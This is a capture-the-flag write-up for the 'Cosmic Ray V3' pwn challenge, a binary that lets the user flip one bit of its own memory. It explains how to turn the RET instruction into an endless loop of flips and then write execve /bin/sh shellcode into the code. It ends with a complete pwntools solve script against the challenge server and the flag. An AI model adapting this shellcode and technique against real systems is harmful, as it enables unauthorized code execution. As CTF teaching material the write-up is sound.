Cosmic Ray V3 (pwn)

I promise it's the last one. The grand finale to the cosmic trinity. Good luck!

The code in main is quite simple. It calls cosmic_ray, then does a syscall.

undefined8 main(void)
{
  setbuf(stdout,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  cosmic_ray();
  syscall();
  return 0;
}

The equivalent assembly looks like this:

cosmic_ray essentially allows us to choose any bit in the program to flip. The pseudocode is as follows:

undefined8 cosmic_ray(void)
{
  __off_t local_30;
  char local_26;
  char local_25;
  int local_24;
  undefined8 local_20;
  long local_18;
  int local_10;
  int local_c;
  
  puts("Enter an address to send a cosmic ray through:");
  __isoc99_scanf("0x%lx",&local_30);
  getchar();
  putchar(10);
  local_10 = open("/proc/self/mem",2);
  lseek(local_10,local_30,0);
  read(local_10,&local_25,1);
  local_18 = byte_to_binary((int)local_25);
  puts("|0|1|2|3|4|5|6|7|");
  puts("-----------------");
  putchar(0x7c);
  for (local_c = 0; local_c < 8; local_c = local_c + 1) {
    printf("%d|",(ulong)(uint)(int)*(char *)(local_18 + local_c));
  }
  putchar(10);
  putchar(10);
  puts("Enter the bit position to flip:");
  __isoc99_scanf(&DAT_00402098,&local_24);
  getchar();
  if ((-1 < local_24) && (local_24 < 8)) {
    local_20 = flip_bit(local_18,local_24);
    local_26 = binary_to_byte(local_20);
    putchar(10);
    printf("Bit succesfully flipped! New value is %d\n\n",(ulong)(uint)(int)local_26);
    lseek(local_10,local_30,0);
    write(local_10,&local_26,1);
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  exit(1);
}

We should first enter the byte to flip in the format 0x123456, then enter the bit to flip which is between 0 (for most significant bit) and 7 (for least significant bit).

Since cosmic_ray is only called by main once, we need to find a way to get many bit flips. Notice that the assembly code for cosmic_ray is located above the assembly code for main:

As such, if we were to modify the RET instruction to another valid instruction, the program execution would continue to main and call cosmic_ray again. We can change the byte 0x4015aa at bit 0 from 1 to 0, which would change the byte from c3 to 43, changing our RET to an instruction that is still valid.

Now we want instructions after the CALL cosmic_ray instruction in main to contain shellcode. This way, when we finally allow the cosmic_ray function to return, our shellcode will be executed. So from address 0x4015e5 onwards, the bytes will contain our shellcode.

Our plan is as follows:

  1. Flip bit 0 at 0x4015aa

  2. Flip bits from 0x4015e5 onwards until our entire shellcode is in the program code

  3. Flip bit 0 at 0x4015aa again to allow cosmic_ray to return

In my script, I define the function flip to handle process i/o, indicating which bit to flip. I also have a function getbit that obtains the specified bit from the program's code.

For step 2, I iterate through every bit of the shellcode. If the bit is different from the corresponding bit in the program's code, I request the bit to be flipped. Below is my solve script.

from pwn import *
from bitstring import BitArray
# fill in binary name
elf = context.binary = ELF("./cosmicrayv3")
libc = ELF("./libc-2.35.so")
ld = ELF("./ld-2.35.so")

context.log_level = 'debug'

# shellcode from https://www.exploit-db.com/exploits/47008
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
shellcode_hex = shellcode.hex()
shellcode_binarystr = BitArray(hex=shellcode_hex).bin
print(f"binary string: {shellcode_binarystr}")

f = open("./cosmicrayv3", "rb")
data = f.read()

if args.REMOTE:
  # fill in remote address
  p = remote("vsc.tf", 7000)
else:
  p = process([ld.path, elf.path], env = {"LD_PRELOAD": libc.path})

# create exploit here
def flip(addr,bits):
    addr = str(hex(addr)).encode()
    bits = str(bits).encode()
    p.sendlineafter(b"through:\n", addr)
    p.sendlineafter(b"flip:\n", bits)

# bits are from left to right. ie msb is bit 0, lsb is bit 7
def getbit(addr, bits):
    real_addr = addr - 0x400000
    binary_byte = hex(data[real_addr])
    byte_binarystr = BitArray(hex=binary_byte).bin
    byte_binarystr = byte_binarystr.rjust(8, '0')
    # count bits from left
    if byte_binarystr[bits] == '0':
        return '0'
    else:
        return '1'
    
# change c3 (ret)
flip(0x004015aa, 0)
# now we have infinite flips
# let 0x4015e5 and after be our shellcode
curr_byte, curr_bits= 0x04015e5, 0
for i in range(len(shellcode_binarystr)):
    a, b = getbit(curr_byte, curr_bits), shellcode_binarystr[i]
    if a != b:
        flip(curr_byte, curr_bits)
    if curr_bits == 7:
        curr_byte += 1
        curr_bits = 0
    else:
        curr_bits += 1

flip(0x004015aa, 0) # flip back to exit cosmic_ray
p.interactive() # vsctf{4nd_th3_st4r5_4l1gn_0nc3_m0r3}

Last updated